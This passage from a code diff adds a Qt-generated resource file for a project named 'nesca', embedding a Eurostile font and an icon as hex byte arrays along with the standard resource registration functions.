0x3a,0x0,0x50,0x3,0x3a,0x0,0x4c,0x4,0xe8,0x0,0xc2,0x7,0x85,0x0,0x8c,0x7, + 0x84,0x0,0x8c,0x7,0x84,0x0,0x4c,0x0,0x8c,0x0,0x0,0x4,0xde,0x1,0x69,0x4, + 0xde,0x2,0xe,0x4,0xde,0x1,0x6a,0x4,0xde,0x1,0x32,0x4,0xde,0x1,0x48,0x4, + 0xde,0x1,0xd2,0x3,0xfc,0x1,0x6,0x3,0xfc,0x1,0x8f,0x3,0xfc,0x1,0x30,0x3, + 0xfc,0x0,0xce,0x1,0xa0,0x0,0x15,0x1,0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1, + 0xa0,0xff,0xae,0x5,0x92,0x1,0xa2,0x4,0xe8,0x1,0x6e,0x4,0xe8,0x1,0xf8,0x4, + 0xe8,0x1,0x98,0x4,0xe8,0x1,0x37,0x4,0xe8,0x1,0x54,0x4,0x7a,0x1,0x0,0x4, + 0x7a,0x0,0x3d,0x5,0x3e,0x1,0x99,0x5,0x3e,0x2,0x23,0x5,0x3e,0x1,0xc3,0x5, + 0x3e,0x1,0x62,0x4,0x7f,0x1,0xdf,0x4,0x80,0xff,0xf6,0x4,0x7f,0x1,0x3a,0x4, + 0x13,0x0,0x58,0x1,0x81,0xff,0xf0,0x3,0xca,0x0,0x4f,0x3,0x1c,0xff,0xf9,0x0, + 0x0,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x65,0x0,0xcc,0x1, + 0x28,0x1,0x6a,0x1,0xa7,0x1,0xdc,0x2,0x47,0x2,0x83,0x2,0xa0,0x2,0xe4,0x3, + 0x29,0x3,0x4f,0x3,0xde,0x4,0x4b,0x4,0x96,0x4,0xe2,0x5,0x41,0x5,0xa7,0x6, + 0xc,0x6,0x39,0x6,0x80,0x6,0xc0,0x7,0x50,0x7,0xb0,0x8,0x5,0x8,0x4b,0x8, + 0xac,0x9,0x34,0x9,0xb2,0xa,0x25,0xa,0x90,0xa,0xec,0xb,0x2f,0xb,0x8c,0xb, + 0xdf,0xc,0x31,0xc,0xa7,0xc,0xf6,0xd,0x26,0xd,0x76,0xd,0xbc,0xd,0xd9,0xe, + 0x47,0xe,0x92,0xe,0xcd,0xf,0x28,0xf,0x84,0xf,0xcf,0x10,0x25,0x10,0x85,0x10, + 0xce,0x11,0xf,0x11,0x8c,0x11,0xcb,0x12,0x27,0x12,0x61,0x13,0xf,0x13,0x93,0x14, + 0x8,0x14,0x80,0x14,0x9d,0x15,0x14,0x15,0x79,0x15,0xd3,0x16,0x7,0x16,0x63,0x16, + 0xde,0x17,0x31,0x17,0x99,0x18,0x10,0x18,0x40,0x18,0xba,0x19,0x2a,0x19,0x6b,0x19, + 0xf8,0x1a,0xa2,0x1b,0xa,0x1b,0x69,0x1b,0xdb,0x1b,0xf7,0x1c,0x25,0x1c,0x3f,0x1c, + 0x7d,0x1c,0xb4,0x1c,0xfd,0x1d,0x35,0x1d,0x99,0x1d,0xfd,0x1e,0x5f,0x1e,0x8d,0x1e, + 0xbc,0x1f,0x11,0x1f,0x66,0x1f,0xb3,0x20,0x0,0x20,0x35,0x20,0x6a,0x20,0x88,0x20, + 0xa3,0x20,0xbd,0x20,0xd8,0x21,0x21,0x21,0x69,0x21,0x93,0x21,0xbd,0x22,0x51,0x22, + 0xdb,0x23,0x17,0x23,0x6e,0x23,0xc1,0x23,0xdd,0x24,0xb,0x24,0xa7,0x25,0x27,0x25, + 0x5f,0x25,0x97,0x25,0xdc,0x26,0x7,0x26,0x96,0x26,0xd8,0x27,0x4f,0x27,0x86,0x27, + 0xbe,0x28,0x22,0x28,0x8a,0x29,0x4,0x29,0x55,0x29,0x9e,0x29,0xbc,0x2a,0x3c,0x2a, + 0xeb,0x2b,0x7,0x2b,0x33,0x2b,0x4d,0x2b,0x7f,0x2b,0x9e,0x2b,0xbe,0x2b,0xe3,0x2c, + 0x8,0x2c,0x2f,0x2c,0x66,0x2c,0x92,0x2c,0xb0,0x2c,0xe0,0x2c,0xfb,0x2d,0x86,0x2e, + 0x22,0x2e,0x43,0x2e,0x85,0x2e,0xb3,0x2f,0xf,0x2f,0x67,0x2f,0xbe,0x30,0x25,0x30, + 0x59,0x30,0x8b,0x30,0xd1,0x31,0x16,0x31,0x38,0x31,0x99,0x31,0xec,0x32,0x47,0x32, + 0xa4,0x32,0xcf,0x32,0xeb,0x33,0x4,0x33,0x3a,0x33,0x76,0x33,0xbd,0x34,0x1f,0x34, + 0x2a,0x34,0x35,0x34,0x40,0x34,0x4b,0x34,0x56,0x34,0x61,0x34,0x6c,0x34,0x77,0x34, + 0x82,0x34,0x8d,0x34,0x98,0x34,0xa3,0x34,0xae,0x34,0xb9,0x34,0xc4,0x34,0xcf,0x34, + 0xda,0x34,0xe5,0x34,0xf0,0x34,0xfb,0x35,0x6,0x35,0x11,0x35,0x1c,0x35,0x27,0x35, + 0x32,0x35,0x3d,0x35,0x48,0x35,0x53,0x35,0x5e,0x35,0x69,0x35,0x74,0x35,0x7f,0x35, + 0x8a,0x35,0x95,0x35,0xa0,0x35,0xab,0x35,0xb7,0x35,0xc3,0x35,0xfd,0x36,0x8,0x36, + 0x13,0x36,0x1e,0x36,0x29,0x36,0x34,0x36,0x3f,0x36,0x4a,0x36,0x55,0x36,0x60,0x36, + 0x6b,0x36,0x76,0x36,0xd6,0x37,0x27,0x37,0x91,0x37,0xeb,0x38,0x19,0x38,0x70,0x38, + 0xed,0x39,0x34,0x39,0xc6,0x3a,0x44,0x3b,0x15,0x3b,0x42,0x3b,0x6e,0x3b,0x8a,0x3b, + 0xa7,0x3b,0xcc,0x3c,0x0,0x3c,0x2d,0x3c,0x59,0x3c,0x75,0x3c,0x92,0x3c,0xb7,0x3c, + 0xe2,0x3c,0xfe,0x3d,0x1a,0x3d,0x3e,0x3d,0x72,0x3d,0x9e,0x3d,0xba,0x3d,0xd7,0x3d, + 0xfc,0x3e,0x30,0x3e,0x55,0x3e,0x60,0x3e,0x8c,0x3e,0xa8,0x3e,0xc5,0x3e,0xea,0x3f, + 0x6,0x3f,0x11,0x3f,0x3d,0x3f,0xa8,0x3f,0xd3,0x3f,0xde,0x3f,0xe9,0x0,0x0,0x0, + 0x1,0x0,0x0,0x1,0xe,0x0,0x4f,0x0,0x7,0x0,0x3a,0x0,0x4,0x0,0x2,0x0, + 0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x24,0x0,0xf0,0x0,0x2,0x0,0x1,0x0, + 0x0,0x0,0x28,0x1,0xe6,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x87,0x0, + 0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x9,0x0,0x87,0x0,0x1,0x0, + 0x0,0x0,0x0,0x0,0x2,0x0,0x7,0x0,0x90,0x0,0x1,0x0,0x0,0x0,0x0,0x0, + 0x3,0x0,0x9,0x0,0x97,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x4,0x0,0x9,0x0, + 0xa0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x5,0x0,0xc,0x0,0xa9,0x0,0x1,0x0, + 0x0,0x0,0x0,0x0,0x6,0x0,0x10,0x0,0xb5,0x0,0x1,0x0,0x0,0x0,0x0,0x0, + 0x7,0x0,0x56,0x0,0xc5,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x2,0x0,0xc,0x1, + 0x1b,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x4,0x0,0x12,0x1,0x27,0x0,0x3,0x0, + 0x1,0x4,0x7,0x0,0x2,0x0,0x10,0x1,0x39,0x0,0x3,0x0,0x1,0x4,0x7,0x0, + 0x4,0x0,0x12,0x1,0x49,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x0,0x1,0xe,0x1, + 0x5b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x1,0x0,0x12,0x2,0x69,0x0,0x3,0x0, + 0x1,0x4,0x9,0x0,0x2,0x0,0xe,0x2,0x7b,0x0,0x3,0x0,0x1,0x4,0x9,0x0, + 0x3,0x0,0x12,0x2,0x89,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x4,0x0,0x12,0x2, + 0x9b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x5,0x0,0x18,0x2,0xad,0x0,0x3,0x0, + 0x1,0x4,0x9,0x0,0x6,0x0,0x20,0x2,0xc5,0x0,0x3,0x0,0x1,0x4,0x9,0x0, + 0x7,0x0,0xac,0x2,0xe5,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x2,0x0,0xc,0x3, + 0x91,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x4,0x0,0x12,0x3,0x9d,0x0,0x3,0x0, + 0x1,0x4,0xb,0x0,0x2,0x0,0x10,0x3,0xaf,0x0,0x3,0x0,0x1,0x4,0xb,0x0, + 0x4,0x0,0x12,0x3,0xbf,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x2,0x0,0xc,0x3, + 0xd1,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x4,0x0,0x12,0x3,0xdd,0x0,0x3,0x0, + 0x1,0x4,0x10,0x0,0x2,0x0,0xe,0x3,0xef,0x0,0x3,0x0,0x1,0x4,0x10,0x0, + 0x4,0x0,0x12,0x3,0xfd,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x2,0x0,0x12,0x4, + 0xf,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x4,0x0,0x12,0x4,0x21,0x0,0x3,0x0, + 0x1,0x4,0x14,0x0,0x2,0x0,0xc,0x4,0x33,0x0,0x3,0x0,0x1,0x4,0x14,0x0, + 0x4,0x0,0x12,0x4,0x3f,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x2,0x0,0xc,0x4, + 0x51,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x4,0x0,0x12,0x4,0x5d,0x0,0x3,0x0, + 0x1,0x8,0x16,0x0,0x2,0x0,0xc,0x4,0x6f,0x0,0x3,0x0,0x1,0x8,0x16,0x0, + 0x4,0x0,0x12,0x4,0x7b,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x2,0x0,0xc,0x4, + 0x8d,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x4,0x0,0x12,0x4,0x99,0x0,0x3,0x0, + 0x1,0xc,0xc,0x0,0x2,0x0,0xc,0x4,0xab,0x0,0x3,0x0,0x1,0xc,0xc,0x0, + 0x4,0x0,0x12,0x4,0xb7,0x54,0x79,0x70,0x65,0x66,0x61,0x63,0x65,0x20,0xa9,0x20, + 0x31,0x39,0x39,0x32,0x20,0x46,0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61, + 0x72,0x61,0x74,0x74,0x65,0x72,0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61, + 0x20,0x57,0x61,0x6c,0x74,0x65,0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65, + 0x72,0x20,0x41,0x2e,0x47,0x2e,0x20,0x44,0x61,0x74,0x61,0x20,0xa9,0x20,0x31,0x39, + 0x39,0x32,0x20,0x55,0x52,0x57,0x2e,0x20,0x50,0x6f,0x72,0x74,0x69,0x6f,0x6e,0x73, + 0x20,0xa9,0x20,0x31,0x39,0x39,0x32,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66, + 0x74,0x20,0x43,0x6f,0x72,0x70,0x2e,0x20,0x41,0x6c,0x6c,0x20,0x72,0x69,0x67,0x68, + 0x74,0x73,0x20,0x72,0x65,0x73,0x65,0x72,0x76,0x65,0x64,0x2e,0x45,0x75,0x72,0x6f, + 0x73,0x74,0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f, + 0x73,0x74,0x69,0x6c,0x65,0x45,0x75,0x72,0x6f,0x73,0x74,0x69,0x6c,0x65,0x56,0x65, + 0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x2e,0x31,0x30,0x45,0x75,0x72,0x6f,0x73,0x74, + 0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f,0x73,0x74, + 0x69,0x6c,0x65,0x20,0x69,0x73,0x20,0x61,0x20,0x6c,0x69,0x63,0x65,0x6e,0x73,0x65, + 0x64,0x20,0x74,0x72,0x61,0x64,0x65,0x6d,0x61,0x72,0x6b,0x20,0x6f,0x66,0x20,0x46, + 0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61,0x72,0x61,0x74,0x74,0x65,0x72, + 0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61,0x20,0x57,0x61,0x6c,0x74,0x65, + 0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65,0x72,0x20,0x41,0x2e,0x47,0x2e, + 0x0,0x6e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75, + 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x53, + 0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x54,0x0,0x79,0x0,0x70,0x0,0x65,0x0,0x66,0x0,0x61,0x0,0x63,0x0,0x65, + 0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20, + 0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x61, + 0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74,0x0,0x74,0x0,0x65, + 0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69,0x0,0x7a,0x0,0x7a, + 0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61,0x0,0x6c,0x0,0x74, + 0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75,0x0,0x74,0x0,0x74, + 0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41,0x0,0x2e,0x0,0x47, + 0x0,0x2e,0x0,0x20,0x0,0x44,0x0,0x61,0x0,0x74,0x0,0x61,0x0,0x20,0x0,0xa9, + 0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x55,0x0,0x52, + 0x0,0x57,0x0,0x2e,0x0,0x20,0x0,0x50,0x0,0x6f,0x0,0x72,0x0,0x74,0x0,0x69, + 0x0,0x6f,0x0,0x6e,0x0,0x73,0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39, + 0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x4d,0x0,0x69,0x0,0x63,0x0,0x72,0x0,0x6f, + 0x0,0x73,0x0,0x6f,0x0,0x66,0x0,0x74,0x0,0x20,0x0,0x43,0x0,0x6f,0x0,0x72, + 0x0,0x70,0x0,0x2e,0x0,0x20,0x0,0x41,0x0,0x6c,0x0,0x6c,0x0,0x20,0x0,0x72, + 0x0,0x69,0x0,0x67,0x0,0x68,0x0,0x74,0x0,0x73,0x0,0x20,0x0,0x72,0x0,0x65, + 0x0,0x73,0x0,0x65,0x0,0x72,0x0,0x76,0x0,0x65,0x0,0x64,0x0,0x2e,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x52,0x0,0x65,0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c, + 0x0,0x65,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e, + 0x0,0x20,0x0,0x31,0x0,0x2e,0x0,0x31,0x0,0x30,0x0,0x45,0x0,0x75,0x0,0x72, + 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x52,0x0,0x65, + 0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45,0x0,0x75,0x0,0x72, + 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x20,0x0,0x69, + 0x0,0x73,0x0,0x20,0x0,0x61,0x0,0x20,0x0,0x6c,0x0,0x69,0x0,0x63,0x0,0x65, + 0x0,0x6e,0x0,0x73,0x0,0x65,0x0,0x64,0x0,0x20,0x0,0x74,0x0,0x72,0x0,0x61, + 0x0,0x64,0x0,0x65,0x0,0x6d,0x0,0x61,0x0,0x72,0x0,0x6b,0x0,0x20,0x0,0x6f, + 0x0,0x66,0x0,0x20,0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72, + 0x0,0x69,0x0,0x61,0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74, + 0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69, + 0x0,0x7a,0x0,0x7a,0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61, + 0x0,0x6c,0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75, + 0x0,0x74,0x0,0x74,0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41, + 0x0,0x2e,0x0,0x47,0x0,0x2e,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, + 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x61, + 0x0,0x6c,0x0,0x69,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74, + 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, + 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c, + 0x0,0x65,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x53,0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61, + 0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73, + 0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d, + 0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74, + 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, + 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, + 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c, + 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c, + 0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, + 0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75, + 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x0, + 0x2,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x37,0x0,0x82,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1, + 0xe,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x0,0x0,0x24,0x0,0x25,0x0, + 0x26,0x0,0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0, + 0x2e,0x0,0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0, + 0x36,0x0,0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x3d,0x0, + 0x90,0x0,0xb0,0x0,0x91,0x0,0x64,0x0,0x44,0x0,0x45,0x0,0x46,0x0,0x47,0x0, + 0x48,0x0,0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x4e,0x0,0x4f,0x0, + 0x50,0x0,0x51,0x0,0x52,0x0,0x53,0x0,0x54,0x0,0x55,0x0,0x56,0x0,0x57,0x0, + 0x58,0x0,0x59,0x0,0x5a,0x0,0x5b,0x0,0x5c,0x0,0x5d,0x0,0xa0,0x0,0xb1,0x0, + 0xa1,0x0,0x89,0x0,0xd7,0x0,0xc0,0x0,0xc1,0x0,0x6f,0x0,0x14,0x0,0x15,0x0, + 0x16,0x0,0x17,0x0,0x18,0x0,0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x13,0x0, + 0x85,0x0,0x7,0x0,0x84,0x0,0xa6,0x0,0x96,0x0,0x11,0x0,0x1d,0x1,0x2,0x0, + 0xab,0x0,0xf,0x0,0x1e,0x0,0xb6,0x0,0xb5,0x0,0xb4,0x0,0xc5,0x0,0x4,0x0, + 0xa3,0x0,0x22,0x0,0xa2,0x0,0xaa,0x0,0xa9,0x0,0xbf,0x0,0xbe,0x0,0x12,0x0, + 0x10,0x0,0xb2,0x0,0xb3,0x0,0xb,0x0,0xc,0x0,0x3e,0x0,0x40,0x0,0x9,0x0, + 0x86,0x0,0x82,0x0,0xc2,0x0,0xd,0x0,0xa,0x0,0x5,0x0,0x23,0x0,0x6,0x0, + 0x83,0x0,0xe,0x0,0xb8,0x0,0x20,0x0,0x8c,0x0,0x88,0x0,0xbd,0x0,0xc4,0x0, + 0xb7,0x0,0x5e,0x0,0x60,0x0,0x9d,0x0,0x9e,0x0,0x93,0x0,0xbc,0x0,0x8,0x0, + 0xc6,0x0,0x3f,0x0,0x8e,0x0,0xdc,0x0,0xdd,0x0,0x8d,0x0,0x43,0x0,0xd8,0x0, + 0xe1,0x0,0xdb,0x0,0xd9,0x0,0xdf,0x0,0xde,0x0,0xe0,0x1,0x3,0x0,0x8b,0x0, + 0x8a,0x0,0x87,0x0,0xb9,0x1,0x4,0x0,0x8f,0x0,0xa5,0x0,0x9c,0x0,0xa7,0x0, + 0x1f,0x0,0x21,0x0,0x94,0x0,0x95,0x0,0xa4,0x0,0x92,0x0,0x9a,0x0,0x99,0x0, + 0x98,0x0,0x41,0x0,0x5f,0x0,0x42,0x0,0x9b,0x0,0x61,0x0,0x97,0x0,0x9f,0x0, + 0x62,0x0,0xc9,0x0,0xad,0x0,0xc7,0x0,0xae,0x0,0x63,0x0,0xca,0x0,0x65,0x0, + 0xcb,0x0,0xc8,0x0,0xce,0x0,0xcc,0x0,0xcf,0x0,0xcd,0x0,0x66,0x0,0x67,0x0, + 0xd0,0x0,0xd3,0x0,0xd1,0x0,0xaf,0x0,0x68,0x0,0xd4,0x0,0xd6,0x0,0xd5,0x0, + 0xbb,0x0,0x6c,0x0,0x69,0x0,0x6a,0x0,0x6b,0x0,0x6d,0x0,0x6e,0x0,0x73,0x0, + 0x70,0x0,0x71,0x0,0x72,0x0,0x77,0x0,0x74,0x0,0x75,0x0,0x76,0x0,0x78,0x0, + 0x7c,0x0,0x79,0x0,0x7a,0x0,0x7b,0x0,0x7d,0x0,0x81,0x0,0x7e,0x0,0x7f,0x0, + 0x80,0x0,0xba,0x0,0xe9,0x0,0xed,0x0,0xea,0x0,0xee,0x0,0xf1,0x0,0xf2,0x0, + 0xf3,0x0,0xf0,0x0,0xf4,0x0,0xf5,0x0,0xf6,0x0,0xe8,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0xe4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0xeb,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xe5,0x0,0xec,0xe,0x70,0x65, + 0x72,0x69,0x6f,0x64,0x63,0x65,0x6e,0x74,0x65,0x72,0x65,0x64,0x6,0x6d,0x61,0x63, + 0x72,0x6f,0x6e,0x5,0x44,0x65,0x6c,0x74,0x61,0x0,0x0,0x40,0xa,0x3,0x3,0x2, + 0x2,0x1,0x1,0x0,0x0,0x0,0x30,0xb8,0x1,0x24,0x85,0x1d,0x13,0x0,0x3f,0x3f, + 0x3f,0x3f,0x1, + // /home/kvs/Documents/CProjects/nesca/nesca.ico + 0x0,0x0,0x0,0x91, + 0x0, + 0x0,0x4,0x7e,0x78,0x9c,0x63,0x60,0x60,0x4,0x42,0x1,0x1,0x6,0x20,0xa9,0xc0, + 0x90,0xc1,0xc2,0xc0,0x20,0xc6,0xc0,0xc0,0xa0,0x1,0xc4,0x40,0x21,0xa0,0x8,0x44, + 0x1c,0x6,0x84,0xb9,0x21,0x98,0x0,0xf8,0x8f,0x3,0x93,0xab,0x8f,0x18,0x73,0x50, + 0xd4,0xa0,0x3,0x2,0x66,0xe0,0xd4,0x47,0xc0,0x1c,0x14,0xfd,0xb8,0xd4,0xe2,0x31, + 0x3,0xa7,0xdd,0x24,0xfa,0x5,0xbb,0xbd,0xeb,0x70,0xfb,0x9,0x97,0x7e,0x64,0xbd, + 0x30,0xfd,0xc4,0x60,0x6a,0xe9,0x27,0xd7,0xfd,0x14,0x84,0x1f,0xa5,0xf1,0x47,0x8d, + 0xf4,0xc3,0xc0,0x80,0xc7,0x2f,0x38,0xfc,0x8b,0xd,0x50,0x92,0x7f,0x88,0x31,0x7, + 0x3,0xfc,0x90,0x67,0x60,0x78,0xc0,0xce,0xc0,0x70,0x80,0x99,0x81,0xa1,0x81,0x11, + 0x82,0x71,0x1,0x98,0x3c,0x48,0x2d,0x48,0xf,0x48,0x2f,0x0,0xc0,0xb0,0xbf,0x70, + + +}; + +static const unsigned char qt_resource_name[] = { + // nesca_3 + 0x0,0x7, + 0x4,0xc9,0x97,0xc3, + 0x0,0x6e, + 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x5f,0x0,0x33, + // Eurostile.ttf + 0x0,0xd, + 0x9,0xb6,0x8f,0xc6, + 0x0,0x45, + 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x2e,0x0,0x74,0x0,0x74,0x0,0x66, + // nesca.ico + 0x0,0x9, + 0x9,0x94,0xa6,0x1f, + 0x0,0x6e, + 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x2e,0x0,0x69,0x0,0x63,0x0,0x6f, + +}; + +static const unsigned char qt_resource_struct[] = { + // : + 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x1, + // :/nesca_3 + 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2, + // :/nesca_3/nesca.ico + 0x0,0x0,0x0,0x34,0x0,0x1,0x0,0x0,0x0,0x1,0x0,0x0,0x94,0xe8, + // :/nesca_3/Eurostile.ttf + 0x0,0x0,0x0,0x14,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0, + +}; + +QT_BEGIN_NAMESPACE + +extern Q_CORE_EXPORT bool qRegisterResourceData + (int, const unsigned char *, const unsigned char *, const unsigned char *); + +extern Q_CORE_EXPORT bool qUnregisterResourceData + (int, const unsigned char *, const unsigned char *, const unsigned char *); + +QT_END_NAMESPACE + + +int QT_MANGLE_NAMESPACE(qInitResources_nesca_3)() +{ + QT_PREPEND_NAMESPACE(qRegisterResourceData) + (0x01, qt_resource_struct, qt_resource_name, qt_resource_data); + return 1; +} + +Q_CONSTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qInitResources_nesca_3)) + +int 